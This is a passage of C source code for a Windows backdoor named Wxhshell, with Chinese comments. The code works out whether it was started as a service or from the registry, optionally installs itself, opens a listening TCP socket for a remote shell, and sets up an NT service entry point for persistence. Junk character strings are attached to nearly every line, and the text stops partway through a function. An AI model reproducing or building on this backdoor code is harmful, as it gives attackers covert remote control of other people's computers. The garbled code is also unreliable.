ULONG InheritedFromUniqueProcessId; 'I /aboDB
} PROCESS_BASIC_INFORMATION; jMN[J|us51
8WXJ.
PROCNTQSIP NtQueryInformationProcess; r?*NhLG;
r,Nq7Txn?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mBG=jI "xh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mUz\ra;z
"eWYv3z~-
HANDLE hProcess; NU*fg`w
PROCESS_BASIC_INFORMATION pbi; {nvLPUL
Wf&W^Q
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e4z1`YLsG
if(NULL == hInst ) return 0; D.1J_Y=9
`/MvQ/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o)[2@fRC(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0`I-2M4F*Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q=DN
{a:
yin'vgQ
if (!NtQueryInformationProcess) return 0; 6"D/xV3Z
H=\!2XS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C{q :_M;
if(!hProcess) return 0; j*
*s^Sg
M!tXN&V]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kee|42E
|/|
CloseHandle(hProcess); yj$TPe_BW
J-<^P5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DtEwW1J
if(hProcess==NULL) return 0; $L2%u8}8:
nxJee=qH
HMODULE hMod; \xUe/=
char procName[255]; B=@ jW z"
unsigned long cbNeeded; wHem5E
;kJu$U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Gs$?}"a
hG_?8:W8HT
CloseHandle(hProcess); gn{=%`[
@Kgl%[NmX
if(strstr(procName,"services")) return 1; // 以服务启动 7lo|dg80
QERU5|.wc
return 0; // 注册表启动 7'-j%!#w
} "sgjWo6
P/ oXDI8
// 主模块 tWdhDt8$&
int StartWxhshell(LPSTR lpCmdLine) Fbp{,V@F2
{ 07/L}b`P
SOCKET wsl; Y=T'WNaL)0
BOOL val=TRUE; ZK'-U,Y.H7
int port=0; 0iZGPe~
struct sockaddr_in door; ~kCwJ<E
&
``d
if(wscfg.ws_autoins) Install(); l6u&5[C
_NcYI
port=atoi(lpCmdLine); oiH|uIsqR
8V-\e?&^
if(port<=0) port=wscfg.ws_port; A, PlvI
1[*{(e
WSADATA data; +]@Az.E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lI/0:|l
7DfTfTU6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "W#t;;9Wz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '?Jxt:<
door.sin_family = AF_INET; P=5NKg
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <q,+ON\'
door.sin_port = htons(port); 8:.nEo'
WM)F0@"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F#{gfh
closesocket(wsl); ;p ]y)3
return 1; 1|?K\B
} 3qQUpm+
{$M;H+Foh
if(listen(wsl,2) == INVALID_SOCKET) { &)pK%SAM
closesocket(wsl); jFerYv&K~
return 1; `Vq`z]}
} 8#` 6M5
Wxhshell(wsl); M_``'gw
WSACleanup(); s~},y]YV
vRPS4@9'
return 0; j|e[s ?d
s{/qS3=
} h<+|x7u
L<(VG{)Z
// 以NT服务方式启动 2*U.^]~"{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !6w{(Rc(C
{ NfE.N&vI_c
DWORD status = 0; c#b:3dXx9
DWORD specificError = 0xfffffff; *(cU]NUH_
!5x
Ly6=}
serviceStatus.dwServiceType = SERVICE_WIN32; THhy ~wC".
serviceStatus.dwCurrentState = SERVICE_START_PENDING; J<JBdk
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wn!G.(Jq
serviceStatus.dwWin32ExitCode = 0; zzvlI66e
serviceStatus.dwServiceSpecificExitCode = 0; |ZU#IQVQfn
serviceStatus.dwCheckPoint = 0; ,2 WH/"
serviceStatus.dwWaitHint = 0; }gsO&g"8
JatHSW7j9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |Vx~fK S\
if (hServiceStatusHandle==0) return; 2w?G.pO#
t ,qul4y}
status = GetLastError(); LD+f'^>>Z
if (status!=NO_ERROR) Rq7p29w
{ W81o"TR|pt
serviceStatus.dwCurrentState = SERVICE_STOPPED; j"<Y!Y3
serviceStatus.dwCheckPoint = 0; NMjnL&P`
serviceStatus.dwWaitHint = 0; 015Owi
serviceStatus.dwWin32ExitCode = status; g=A$<